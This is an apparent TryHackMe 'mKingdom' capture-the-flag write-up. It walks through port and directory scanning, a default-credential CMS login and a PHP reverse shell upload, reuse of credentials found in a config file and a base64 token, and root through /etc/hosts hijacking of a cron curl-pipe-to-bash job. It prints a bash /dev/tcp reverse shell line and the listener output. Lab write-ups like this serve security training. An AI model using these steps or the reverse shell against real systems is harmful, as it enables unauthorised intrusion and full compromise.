TryHackMe: mKingdom
mKindgom was a room that i had tried to do before and wasn’t able to get the root flag, i wasn’t understanding how to get it, so i decided to leave it. A month later, here i am completing the room with little to no problems. We fall to get up, it’s just a matter of when will you get up, not how.
https://tryhackme.com/room/mkindgom
Initial Enumeration
Nmap Scan
We start with our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.234.155
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 15:16 GMT
Nmap scan report for 10.10.234.155
Host is up (0.064s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.42 seconds
Web 85
Only one open port, and navigating to it, we see the following:

Gobuster Scan
Source code didn’t have anything, so we proceed to our gobuster scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.234.155:85
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.234.155:85
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...
/app (Status: 301) [Size: 314] [--> http://10.10.234.155:85/app/]
/index.html (Status: 200) [Size: 647]
/index.html (Status: 200) [Size: 647]
/server-status (Status: 403) [Size: 293]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
We find an app directory that inside had only a button:

And clicking the button redirects us to a castle directory:

Couldn’t find much, so we do another gobuster scan but now inside castle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.234.155:85/app/castle
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.234.155:85/app/castle
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...
/application (Status: 301) [Size: 333] [--> http://10.10.234.155:85/app/castle/application/]
/concrete (Status: 301) [Size: 330] [--> http://10.10.234.155:85/app/castle/concrete/]
/index.php (Status: 200) [Size: 12059]
/packages (Status: 301) [Size: 330] [--> http://10.10.234.155:85/app/castle/packages/]
/robots.txt (Status: 200) [Size: 532]
/updates (Status: 301) [Size: 329] [--> http://10.10.234.155:85/app/castle/updates/]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
Starting with robots.txt, we see that it doesn’t allow some application folders:

There wasn’t much more to the directories but we end up finding a login page for the CMS:

Trying some default credentials, we were able to get inside with admin:password:

Shell as www-data
Looking around we see that we can upload files, this means we could try sending a reverse shell. At first it gave us an error on file type not allowed, but we can get around this we just need to go to System & Settings > Allowed File Types and add php:

After that we just need to upload a reverse shell to the File Manager:

Now we just need to start a listener on our machine and open the shell location:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 4444
listening on [any] 4444 ...
connect to [-] from (UNKNOWN) [10.10.234.155] 50932
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:28:51 up 13 min, 0 users, load average: 0.12, 0.20, 0.24
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$
Shell as toad
Since we are now inside the system we can try and look at the folders that were disallowed in robots.txt. And looking at the config folder we find a file called database.php, and inside it we see some credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => 'toadisthebest',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
Looking inside mysql we can’t find much so we try to switch to toad in the shell, and it works:
1
2
3
www-data@mkingdom:~$ su toad
Password:
toad@mkingdom:~$
Shell as mario
Enumerating toad, looking at the env variables, we see a weird PWD_token:
1
2
3
4
toad@mkingdom:/$ env
...
PWD_token=aWthVGVOVEFOdEVTCg==
...
Its encoded in base 64, and decoding it gave us what looks like a password:
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "aWthVGVOVEFOdEVTCg==" | base64 -d
ikaTeNTANtES
Could be mario’s password, and after trying we are inside:
1
2
3
toad@mkingdom:~$ su mario
Password:
mario@mkingdom:~$
We find the user flag inside mario but we can’t read it, which is weird since we have read permissions:
1
2
3
4
5
6
7
mario@mkingdom:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
mario@mkingdom:~$ cat user.txt
cat: user.txt: Permission denied
mario@mkingdom:~$ ll user.txt
-rw-r--r-- 1 root root 38 Nov 27 2023 user.txt
Looking around for other cat binaries we find one, so we can try using it instead of the normal /bin/cat:
1
2
3
4
5
mario@mkingdom:~$ find / -name "cat" 2>/dev/null
/bin/cat
/usr/lib/klibc/bin/cat
mario@mkingdom:~$ /usr/lib/klibc/bin/cat user.txt
thm{REDACTED}
Shell as root
Enumerating mario we can’t find much even after running linpeas.sh, so we use pspy to see if any processes are running:
1
2
2025/02/17 11:12:01 CMD: UID=0 PID=6340 | curl mkingdom.thm:85/app/castle/application/counter.sh
2025/02/17 11:12:01 CMD: UID=0 PID=6339 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
We see that a request to a counter.sh file is being made from time to time. And looking back at linpeas.sh we see that we have write permissions to /etc/hosts, this means that we can trick the application into talking with our machine instead of its own:
1
2
3
4
5
6
7
8
9
10
11
12
13
mario@mkingdom:/$ cat /etc/hosts
127.0.0.1 localhost
- mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
127.0.0.1 www.concrete5.org
127.0.0.1 newsflow.concrete5.org
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Using nano can be very difficult because on the netcat shell, so to do this part just copy everything from the original
/etc/hosts, change it in mousepad or any text editor and then, with the echo command, re-write to the original file with>.
Now we need to replicate the same folder structure to get to counter.sh and change the script to a reverse shell:
1
2
3
┌──(kali㉿kali)-[~/Desktop/app/castle/application]
└─$ cat counter.sh
bash -c 'bash -i >& /dev/tcp/-/400 0>&1'
Lastly, we start a server where the app folder is located in our machine, and a listener on port 400(or the port of choice). Then we just wait a little for the process to run to get the root shell:
1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.234.155 - - [17/Feb/2025 16:30:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
Now inside we can finally read the root flag, but only with the other cat binary we found earlier:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 400
listening on [any] 400 ...
connect to [-] from (UNKNOWN) [10.10.234.155] 55036
bash: cannot set terminal process group (6588): Inappropriate ioctl for device
bash: no job control in this shell
root@mkingdom:~# /usr/lib/klibc/bin/cat root.txt
thm{REDACTED}
